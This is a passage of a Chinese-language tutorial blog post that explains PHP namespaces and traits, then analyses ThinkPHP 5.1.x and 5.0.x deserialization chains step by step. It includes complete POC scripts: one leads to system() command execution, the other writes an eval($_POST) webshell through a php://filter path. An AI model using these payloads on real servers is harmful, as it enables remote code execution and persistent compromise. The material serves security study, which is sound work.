嗯、说在前面
最近在学Java,但是回过头看PHP发现还有一些框架没有去深究,比如这个ThinkPHP,然后虽然网上很多poc,但那也只是poc,你不知道流程和构造链单纯知道个反序列化,我改点东西不就没了
然后也是发现其实网上的文章大部分讲的也不是很好,甚至有一些错误,这里我就边学习边纠正,尽量是能让新人也能够看懂ThinkPHP反序列化漏洞和一些RCE链子
然后在学习之前确保你有以下基础:
因为这些是基础中的基础
一、基础知识 | PHP中的namespace
namespace实际上就是命名空间,在php类与对象这一章节中用到了命名空间这个概念,我也是没有看到这个考点出现在比赛题中,并且也没有一些文章去透彻的分析它,因此这是一个比较重要的基础知识点,我在这里就给他总结一下
(1)命名空间和子命名空间
我们可以把namespace理解为一个单独的空间,事实上它也就是一个空间而已,子命名空间那就是空间里再划分几个小空间,这样说很抽象,我举几个例子来理解:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| <?php namespace animal\cat; class cat{ public function __construct() { echo "meow"."\n"; } } namespace animal\dogA; class dog{ public function __construct() { echo "A:wooffff"."\n"; } } namespace animal\dogB; class dog { public function __construct() { echo "B:wooffff"."\n"; } } new dog();
new \animal\dogA\dog(); use animal\dogA; new dogA\dog(); use animal\dogA as alias; new alias\dog();
use animal\cat\cat; new cat();
|
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677401972123-fd14dab9-edd3-49fe-b519-828d7cf0387a.png#averageHue=%23212321&clientId=u2e562b51-b2cd-4&from=paste&height=231&id=ua50e72ef&name=image.png&originHeight=289&originWidth=1840&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=680882&status=done&style=none&taskId=uf07d30dd-22d1-4dcf-bad6-29d30c2798b&title=&width=1472)
在上面的例子中animal
是一个命名空间,animal\cat animal\dogA animal\dogB
都是其子命名空间,可以看到这样一共就存在三个命名空间,而使用各个命名空间的方法就是将命名空间的名字写完整
而use是什么意思呢?其实和include和require有点像,就是在当前命名空间引入其他命名空间的别名,比如use animal\dogA as alias
其中的alias就是别名。use animal\cat\cat
这句话就是直接指定了animal\cat命名空间的cat类了,我们只需要直接new就可以创建cat对象,不需要在前面加命名空间
(2)类的继承
这其实不是namespace里的知识,但是由于见的比较少,所以放在这里一起讲了,PHP类的继承是通过extend
关键字来实现的,这里也比较简单,看一个例子就知道了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <?php class father{ public $name="Json"; private $age=30; public $hobby="game"; public function say(){ echo "i am father \n"; } public function smoke(){ echo "i got smoke \n"; } } class son extends father{ public $name="Boogipop"; private $age=19; public function say() { echo "i am son \n"; } public function parentsay(){ parent::say(); } } $son=new son(); $son->say(); $son->smoke(); $son->parentsay(); echo $son->hobby;
|
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677402743662-ed7769bb-adb8-43d6-835f-8a9646f6ce8c.png#averageHue=%231f211f&clientId=u2e562b51-b2cd-4&from=paste&height=166&id=u5103543c&name=image.png&originHeight=208&originWidth=1802&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=496288&status=done&style=none&taskId=u34096b16-4709-4054-b39e-a14953dbc1d&title=&width=1441.6)
上述例子中son继承了father,可以看到属性和方法也被继承下来了,子类可以覆盖父类的方法,子类也可以通过parent::
关键字访问父类被覆盖的方法,一个很简单的demo
(3)trait修饰符
这是本节的重中之重了,trait修饰符使得被修饰的类可以进行复用,增加了代码的可复用性,使用这个修饰符就可以在一个类包含另一个类,具体也是可以看下面几个例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php trait test{ public function test(){ echo "test\n"; } }
class impl{ use test; public function __construct() { echo "impl\n"; }
} $t=new impl(); $t->test();
|
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677427884426-f38ed9ca-5c9d-4426-9196-ffab93edf7dd.png#averageHue=%231f211f&clientId=u1a42d8fb-4cd6-4&from=paste&height=108&id=u347c87c5&name=image.png&originHeight=135&originWidth=1649&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=299139&status=done&style=none&taskId=u408bd65a-ce28-4339-bce3-e067cd043bb&title=&width=1319.2)
我们在impl类中use了test这个类,因此我们可以调用其中的方法,是不是有点像类的继承了,大致意思就是这么个情况
然后这个修饰符也有个好玩的地方,看下面另一个demo:
1 2 3 4 5 6 7 8 9 10 11 12
| <?php namespace np1\A;
use np2\A\Kino;
class Boogipop{ use Kino; public function __construct() { echo "dawn_construct\n"; } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php namespace np2\A; require("np1.php"); use np1\A\Boogipop; trait Kino{ public function __toString() { echo "tostring\n"; return ""; } } $a=new boogipop(); echo $a;
|
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677428029637-0d401358-1ae3-4810-b3af-85c255a4c8d9.png#averageHue=%23212322&clientId=u1a42d8fb-4cd6-4&from=paste&height=142&id=ubb083058&name=image.png&originHeight=177&originWidth=1822&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=430175&status=done&style=none&taskId=ub3550a9a-3f6a-4c48-b09b-15620b1b0ba&title=&width=1457.6)
可以看到由于我们在Boogipop类里面复用了Kino这个类,因此我们一并触发了其tostring方法,这个在tp5反序列化漏洞中也有出现,因此我提一嘴
二、ThinkPHP开发手册
给我好好地学一下ThinkPHP的一些规则
三、ThinkPHP5.1.x反序列化链
(1)环境搭建
- PHP7.3+Xdebug+thinkphp5.1.37+IDEA
该反序列化漏洞属于二次触发漏洞,需要有一个入口,因此我们将控制器中的Index控制器修改一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php namespace app\index\controller;
class Index { public function index($input="") { echo "ThinkPHP5_Unserialize:\n"; unserialize(base64_decode($input)); return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V5.1<br/><span style="font-size:30px">12载初心不改(2006-2018) - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>'; }
public function hello($name = 'ThinkPHP5') { return 'hello,' . $name; } }
|
这里面准备了一个unserialize反序列化入口
(2)POC+效果展示
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| <?php namespace think; abstract class Model{ protected $append = []; private $data = []; function __construct(){ $this->append = ["boogipop"=>["calc.exe","calc"]]; $this->data = ["boogipop"=>new Request()]; } } class Request { protected $hook = []; protected $filter = "system"; protected $config = [ 'var_ajax' => '_ajax', ]; function __construct(){ $this->filter = "system"; $this->config = ["var_ajax"=>'boogipop']; $this->hook = ["visible"=>[$this,"isAjax"]]; } }
namespace think\process\pipes;
use think\model\Pivot; class Windows { private $files = [];
public function __construct() { $this->files=[new Pivot()]; } } namespace think\model;
use think\Model;
class Pivot extends Model { } use think\process\pipes\Windows; echo base64_encode(serialize(new Windows())); ?>
|
POC看起来很短,而分析起来(确实很短),拿到结果后直接在url中命令执行即可:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677429172101-b43a154e-e149-4823-9dff-9398c0874390.png#averageHue=%23999999&clientId=u1a42d8fb-4cd6-4&from=paste&height=719&id=u5c193417&name=image.png&originHeight=899&originWidth=1920&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=133161&status=done&style=none&taskId=uf9a1faf0-7863-4959-bae0-4462593bf90&title=&width=1536)
(3)触发链分析
首先在unserialize函数下断点,之后再浏览器中输入payload:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677458375097-c4f462e5-2a01-4cf7-988e-544b3b1a87b5.png#averageHue=%232e302b&clientId=u0e157718-5316-4&from=paste&height=242&id=u28cc6d4e&name=image.png&originHeight=302&originWidth=1425&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=626647&status=done&style=none&taskId=u0649fa17-ecd5-4aed-b627-1fe9ce703ac&title=&width=1140)
这是反序列化入口,往下跟一下,观察POC,最外层套的是think\process\pipes\Windows
对象,因此会进入该对象中:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677458552612-faa53067-a64a-461a-a75c-2b320eaab6f5.png#averageHue=%232c2e2b&clientId=u0e157718-5316-4&from=paste&height=472&id=u8c7ab7f9&name=image.png&originHeight=590&originWidth=1864&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=1609898&status=done&style=none&taskId=uf843702c-c977-47cf-89e8-99d004a6310&title=&width=1491.2)
入口是think\process\pipes\Windows
的__destruct
魔术方法,在这里调用了removeFiles
方法,跟进该方法:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677458659533-7bb34780-0d3a-49a0-8984-1bfb2a193364.png#averageHue=%23292b2a&clientId=u0e157718-5316-4&from=paste&height=595&id=u834be4d4&name=image.png&originHeight=744&originWidth=1441&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=1379866&status=done&style=none&taskId=ua2cc4ff7-63ec-47b5-be5a-67f7ab65a9e&title=&width=1152.8)
在removeFiles方法,用file_exists
方法检测文件是否存在,但是这里我们将filename属性改为了一个think\model]\Pivot
对象,因此会触发它的toString
方法:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677458748880-1c29e47b-4f8e-40b6-9d56-34450153ac65.png#averageHue=%232d2f2c&clientId=u0e157718-5316-4&from=paste&height=783&id=ud5ca356b&name=image.png&originHeight=979&originWidth=1862&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=2460425&status=done&style=none&taskId=u9caa295e-2f86-4a42-ae42-cc8cd5519f3&title=&width=1489.6)
可能在这里大家就觉得比较奇怪了,不是说好了是Pivot
对象吗,为什么是Conversion
对象,这里我们就需要回顾到上面说的基础知识了:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677458797718-7ff08f90-758c-43f7-be60-4d9d06bf28ad.png#averageHue=%232b2c29&clientId=u0e157718-5316-4&from=paste&height=342&id=u8818b222&name=image.png&originHeight=427&originWidth=1206&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=629442&status=done&style=none&taskId=ubece7312-fb21-4607-b16c-1e91a4eab7f&title=&width=964.8)
首先Conversion被trait进行修饰了,其次我们再观察一下Pivot对象的内部:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677458866628-d003da32-b202-45ec-8bb3-1959134201cc.png#averageHue=%232c2e2a&clientId=u0e157718-5316-4&from=paste&height=454&id=ud8ce346e&name=image.png&originHeight=567&originWidth=1867&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=1317153&status=done&style=none&taskId=uf9999cf6-9868-46cb-9e00-64bf0d96a2f&title=&width=1493.6)
它内部是没有toString魔术方法的,但是构造方法中调用的是父类的构造方法,他的父类是Model
对象:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677458898888-0403ec23-cb1e-4b7f-a1f7-f8f2738e3e50.png#averageHue=%23323431&clientId=u0e157718-5316-4&from=paste&height=137&id=ub147ccae&name=image.png&originHeight=171&originWidth=770&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=176834&status=done&style=none&taskId=u57c3df32-6511-4083-8213-30608340b41&title=&width=616)
跟进Model对象:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677458916060-ebb09e75-2de6-41fa-a507-19d7f459326c.png#averageHue=%232b2d29&clientId=u0e157718-5316-4&from=paste&height=298&id=uc9a8e4b6&name=image.png&originHeight=373&originWidth=1287&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=599075&status=done&style=none&taskId=u2e3a394d-c92c-461f-ab73-53e94516629&title=&width=1029.6)
到这里紧皱的眉头突然舒展开来,也就是Model类在它的内部复用了被trait
修饰的Conversion
对象,而Model又是Pivot的父类,因此当Pivot被当成字符串输出时,就会调用Conversion类的toString方法,这一点网上没一篇文章讲到,所以我觉得有必要讲一下的,流程图大概如下:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677459350948-dbb6cd39-8803-470a-b65d-3b9449673ba8.png#averageHue=%23fbfbfb&clientId=u0e157718-5316-4&from=paste&height=324&id=u2c18bb5b&name=image.png&originHeight=405&originWidth=1118&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=35689&status=done&style=none&taskId=u5d659110-d16c-49cf-90dc-c4a3ac0f2f2&title=&width=894.4)
那么接下来就能继续往下走了,之后就调用了tojson方法:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677459424099-5ebd4d29-3571-4a42-836d-f354d06d5615.png#averageHue=%232e2f2c&clientId=u0e157718-5316-4&from=paste&height=141&id=ud1ad647a&name=image.png&originHeight=176&originWidth=1250&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=279774&status=done&style=none&taskId=u8c8f301b-9b77-4701-bd59-c3fb0161e67&title=&width=1000)
又调用了toArray:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677459464347-55d7022f-a6ef-436e-a429-6d3ed7fb6191.png#averageHue=%232c2d29&clientId=u0e157718-5316-4&from=paste&height=250&id=u6679f038&name=image.png&originHeight=313&originWidth=1417&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=563709&status=done&style=none&taskId=u6811618f-9112-468b-91fe-26b98197536&title=&width=1133.6)
在这里就有3个点了,先遍历this->append
属性,取出键值对,这里我们poc中对应为:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677459634107-37ea5f39-328b-4d55-b22f-96b9d9e42edf.png#averageHue=%2332342f&clientId=u0e157718-5316-4&from=paste&height=93&id=u353eb9a3&name=image.png&originHeight=116&originWidth=684&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=113393&status=done&style=none&taskId=ud6758a0b-a59b-4284-80b5-8ae9138b9db&title=&width=547.2)
因此key为boogipop,进入getRelation方法:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677459659840-37e5b3ea-cdf9-42fa-bb86-d04306c73796.png#averageHue=%232e302c&clientId=u0e157718-5316-4&from=paste&height=203&id=u7957334d&name=image.png&originHeight=254&originWidth=987&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=327286&status=done&style=none&taskId=u8a09b294-830d-41e3-a0d1-994e87617c6&title=&width=789.6)
由于我$name(boogipop)
不是null,并且我们没给$this->relation
进行赋值,因此直接return一个null回来,接着就进入getAttr
方法:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677459760965-5456482f-7932-4717-8c08-df93ea6cb8b8.png#averageHue=%232a2c28&clientId=u0e157718-5316-4&from=paste&height=283&id=u633d98be&name=image.png&originHeight=354&originWidth=1329&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=579598&status=done&style=none&taskId=u1fecbc29-d604-4d39-b40e-4ff75c3af30&title=&width=1063.2)
在里面又调用了getData方法,跟进该方法:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677459920604-af0f59bc-cc17-4c0c-96fb-5860c3490160.png#averageHue=%232b2d2a&clientId=u0e157718-5316-4&from=paste&height=546&id=u4644bcb5&name=image.png&originHeight=682&originWidth=1519&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=1346092&status=done&style=none&taskId=u72155712-81fa-4495-bcef-1dbe391d296&title=&width=1215.2)
在上述poc中我们将$this->data
赋值为了一个Request
对象,因此return一个Request对象,之后退出该方法回到外面:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677460029115-3b10a8ae-d1ef-4ba4-9680-f4c6c813f6b5.png#averageHue=%23282a28&clientId=u0e157718-5316-4&from=paste&height=593&id=u42b4d302&name=image.png&originHeight=741&originWidth=1403&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=1357743&status=done&style=none&taskId=ud1c24bf5-8608-45c6-b54c-f147adb8175&title=&width=1122.4)
这里$relation
经过上述步骤变为Request对象,调用visible方法触发了Request
对象的__call
魔术方法,因为不存在该方法,参数为[calc,calc.exe]
也就是我们自定义的那个键值对:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677460341974-e8a04454-8e43-4f2d-85b2-e210582d9aa3.png#averageHue=%23292b29&clientId=u0e157718-5316-4&from=paste&height=546&id=uc3fdd161&name=image.png&originHeight=682&originWidth=1440&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=1269362&status=done&style=none&taskId=u09ed2ae5-cc0a-4c01-8cb4-b9a99e0879d&title=&width=1152)
首先使用array_shift
往之前的[calc,calc.exe]
数组插入$this
也就是Request
对象,之后调用call_user_func_array
方法,其中$this->hook[$method]
就是$this->hook['visible']
,在POC中为isAjax
方法,跟进该方法:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677460505292-d13c95d2-d1ca-4872-8537-3e9599cbe06c.png#averageHue=%232a2c29&clientId=u0e157718-5316-4&from=paste&height=469&id=u478f1750&name=image.png&originHeight=586&originWidth=1514&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=1161038&status=done&style=none&taskId=u8dcb082a-b5d0-477e-989e-bb096ed7688&title=&width=1211.2)
调用Param
方法,参数为我们poc中的boogipop
,跟进该方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| public function param($name = '', $default = null, $filter = '') { if (!$this->mergeParam) { $method = $this->method(true);
switch ($method) { case 'POST': $vars = $this->post(false); break; case 'PUT': case 'DELETE': case 'PATCH': $vars = $this->put(false); break; default: $vars = []; }
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
$this->mergeParam = true; }
if (true === $name) { $file = $this->file(); $data = is_array($file) ? array_merge($this->param, $file) : $this->param;
return $this->input($data, '', $default, $filter); }
return $this->input($this->param, $name, $default, $filter);
|
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677460760976-839c0ca2-4f26-40fe-aa44-88198e7e0d11.png#averageHue=%23292c29&clientId=u0e157718-5316-4&from=paste&height=570&id=ubd5aa029&name=image.png&originHeight=712&originWidth=1376&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=1218551&status=done&style=none&taskId=ub3a06120-e864-4841-8828-420677f89c7&title=&width=1100.8)
在这个方法中会将GET数组赋值给this->param
属性,然后$name
就是之前说的boogipop,跟进input方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| public function input($data = [], $name = '', $default = null, $filter = '') { if (false === $name) { return $data; }
$name = (string) $name; if ('' != $name) { if (strpos($name, '/')) { list($name, $type) = explode('/', $name); }
$data = $this->getData($data, $name);
if (is_null($data)) { return $default; }
if (is_object($data)) { return $data; } }
$filter = $this->getFilter($filter, $default);
if (is_array($data)) { array_walk_recursive($data, [$this, 'filterValue'], $filter); if (version_compare(PHP_VERSION, '7.1.0', '<')) { $this->arrayReset($data); } } else { $this->filterValue($data, $name, $filter); }
if (isset($type) && $data !== $default) { $this->typeCast($data, $type); }
return $data; }
|
首先进入getData
方法,在该方法我们可以获取恶意传参:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677462538043-35983ae1-6764-4a28-9407-bd434eabe235.png#averageHue=%232a2b28&clientId=u0e157718-5316-4&from=paste&height=374&id=u8e912c93&name=image.png&originHeight=467&originWidth=1382&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=807906&status=done&style=none&taskId=u65b629ab-63e3-4d2c-99b5-d35967057ee&title=&width=1105.6)
$name
是上一轮带下来的,也就是boogipop,这里从GET数组获取键名为boogipop
的键值,也就是whoami
,得到whoami后返回,继续进入getFilter
方法获取filter属性:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677462674552-a1ec3378-796c-43c0-9ca7-c8cd8c8135bf.png#averageHue=%232b2c2a&clientId=u0e157718-5316-4&from=paste&height=525&id=u1e211ede&name=image.png&originHeight=656&originWidth=1355&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=1098200&status=done&style=none&taskId=uceeb872a-92f2-4e7a-a6d4-d1e03dddc71&title=&width=1084)
在param方法中,filter参数为空,因此在这里先为空,然后将this->filter
属性赋值给$filter
变量
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677462722641-f3c4c1c8-52ca-4ba7-a931-e1df54b33abc.png#averageHue=%23292b29&clientId=u0e157718-5316-4&from=paste&height=472&id=u9b0668d8&name=image.png&originHeight=590&originWidth=1450&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=1103441&status=done&style=none&taskId=ufa8bb5ca-a5ca-45c9-b5eb-5eb213e4670&title=&width=1160)
然后在$filter
数组追加一个$default
变量,这里为null,不影响,之后就将该filter数组return回去,这时候$filter=['system',null]
:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677462808345-85520841-c5f7-4e24-8bf5-5e39b496078c.png#averageHue=%23292b2a&clientId=u0e157718-5316-4&from=paste&height=513&id=ua64fdcb0&name=image.png&originHeight=641&originWidth=1456&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=1196258&status=done&style=none&taskId=u3bada408-6c0b-4895-b6db-a2d2c220cba&title=&width=1164.8)
最后进入filterValue方法,其中各个变量对应红框中的值:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| private function filterValue(&$value, $key, $filters) { $default = array_pop($filters);
foreach ($filters as $filter) { if (is_callable($filter)) { $value = call_user_func($filter, $value); } elseif (is_scalar($value)) { if (false !== strpos($filter, '/')) { if (!preg_match($filter, $value)) { $value = $default; break; } } elseif (!empty($filter)) { $value = filter_var($value, is_int($filter) ? $filter : filter_id($filter)); if (false === $value) { $value = $default; break; } } } }
return $value; }
|
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677462851375-ccae3b1f-df60-4d9f-8075-f6b46cd24b49.png#averageHue=%232d2e2a&clientId=u0e157718-5316-4&from=paste&height=66&id=uf98c9905&name=image.png&originHeight=83&originWidth=871&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=92718&status=done&style=none&taskId=ub11eefe3-80c3-4dc1-9206-a6ecc5ec970&title=&width=696.8)
先用arraypop弹出数组末尾的元素,因此只剩下system
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677462842790-481d67c2-1f0e-4c01-98cf-70c79a185bc0.png#averageHue=%23292a27&clientId=u0e157718-5316-4&from=paste&height=104&id=u84f4e6e8&name=image.png&originHeight=130&originWidth=1392&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=235770&status=done&style=none&taskId=u640f02bc-12cf-4786-a8f0-f026434607e&title=&width=1113.6)
随之调用call_user_func
方法,完成RCE
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677475246895-8468d7ef-81bc-4339-9793-cd52d5c34641.png#averageHue=%232c313d&clientId=u0e157718-5316-4&from=paste&id=u705a915f&name=image.png&originHeight=886&originWidth=1421&originalType=url&ratio=1.25&rotation=0&showTitle=false&size=333657&status=done&style=none&taskId=udbeab041-29e1-4e3e-97e2-5d709d1b8a7&title=)
贴一张其他师傅的图
(4)修复方法
官方直接把Request
中的__call
魔术方法给抹除了,因此链子后半段就断掉了
四、ThinkPHP5.2.x反序列化链
README
5.2属于内测版,找不到下载的资源。。。无法复现
https://xz.aliyun.com/t/6619#toc-2
可以参考这篇文章,实在是找不到5.2版本了
然后好像破案了,5.2貌似就是现在的6.0版本(shit),这部分放到6.0
五、ThinkPHP5.0.x反序列化链
(1)环境搭建
- PHP7.3+Xdebug+thinkphp5.0.24+IDEA
也是像上面一样准备一个二次发序列化入口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php namespace app\index\controller;
class Index { public function index($input="") { echo "ThinkPHP5_Unserialize:\n"; unserialize(base64_decode($input)); return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V5.1<br/><span style="font-size:30px">12载初心不改(2006-2018) - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>'; }
public function hello($name = 'ThinkPHP5') { return 'hello,' . $name; } }
|
访问public:![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677493861169-edce0763-fada-49c1-b119-88272a61266d.png#averageHue=%23f5f5f5&clientId=u3b522330-9691-4&from=paste&height=828&id=ua3d2fc02&name=image.png&originHeight=1035&originWidth=1920&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=61857&status=done&style=none&taskId=u8b6bc6b4-95c2-4bfb-b24a-094f1012139&title=&width=1536)
说明环境正常,接下来就分析链子
(2)漏洞复现
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109
| <?php
namespace think\process\pipes{ class Windows{ private $files=[];
public function __construct($pivot) { $this->files[]=$pivot; } } }
namespace think\model{ class Pivot{ protected $parent; protected $append = []; protected $error;
public function __construct($output,$hasone) { $this->parent=$output; $this->append=['a'=>'getError']; $this->error=$hasone; } } }
namespace think\db{ class Query { protected $model;
public function __construct($output) { $this->model=$output; } } }
namespace think\console{ class Output { private $handle = null; protected $styles; public function __construct($memcached) { $this->handle=$memcached; $this->styles=['getAttr']; } } }
namespace think\model\relation{ class HasOne{ protected $query; protected $selfRelation; protected $bindAttr = [];
public function __construct($query) { $this->query=$query;
$this->selfRelation=false; $this->bindAttr=['a'=>'admin']; } } }
namespace think\session\driver{ class Memcached{ protected $handler = null;
public function __construct($file) { $this->handler=$file; } } }
namespace think\cache\driver{ class File{ protected $options = [ 'path'=> 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php', 'cache_subdir'=>false, 'prefix'=>'', 'data_compress'=>false ]; protected $tag=true;
} }
namespace { $file=new think\cache\driver\File(); $memcached=new think\session\driver\Memcached($file); $output=new think\console\Output($memcached); $query=new think\db\Query($output); $hasone=new think\model\relation\HasOne($query); $pivot=new think\model\Pivot($output,$hasone); $windows=new think\process\pipes\Windows($pivot);
echo base64_encode(serialize($windows)); }
|
运行POC得到编码,之后在URL上传参进行反序列化,反序列化之后访问[http://localhost/tp5/public/a.php3b58a9545013e88c7186db11bb158c44.php](http://localhost/tp5/public/a.php3b58a9545013e88c7186db11bb158c44.php)
,密码为ccc,即可RCE:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677501014383-fc2f2878-deb4-41b3-9d20-72fa3347ed90.png#averageHue=%23cda977&clientId=u3b522330-9691-4&from=paste&height=786&id=u228c57b0&name=image.png&originHeight=982&originWidth=1920&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=148688&status=done&style=none&taskId=u4e572aee-48b0-4c7a-8a43-b717662ab9f&title=&width=1536)
(3)影响版本
在5.0.24和5.0.18可用,5.0.9不可用
(4)POP链分析
这个POC就比5.1的复杂许多,整整有100行,但是前面一部分还是和5.1一样的,首先下断点,然后进行调试:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677513340012-6cd758f0-58d8-4476-9bf0-a0f180b7a889.png#averageHue=%232c2e2a&clientId=u934ec687-29c8-4&from=paste&height=213&id=u38d2a250&name=image.png&originHeight=266&originWidth=1544&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=501032&status=done&style=none&taskId=ue4a6cee5-baef-476c-8747-74bfbcd3ace&title=&width=1235.2)
入口依然是windows的析构方法,然后继续往下走又会到toString:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677513374421-341c4d95-c3cb-4676-9f0d-b743c4b6a3b0.png#averageHue=%232a2c2a&clientId=u934ec687-29c8-4&from=paste&height=438&id=u181aefab&name=image.png&originHeight=548&originWidth=1846&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=1375329&status=done&style=none&taskId=u6a0fb385-2c27-4908-be49-12a33099934&title=&width=1476.8)
这里触发的Model类的toString,上面是Conversion类的toString,在5.0版本没有Conversion这个复用类,因此在这里有点小不同,但是方法是一样的因此接下来会和5.1版本一样进入toArray
方法:
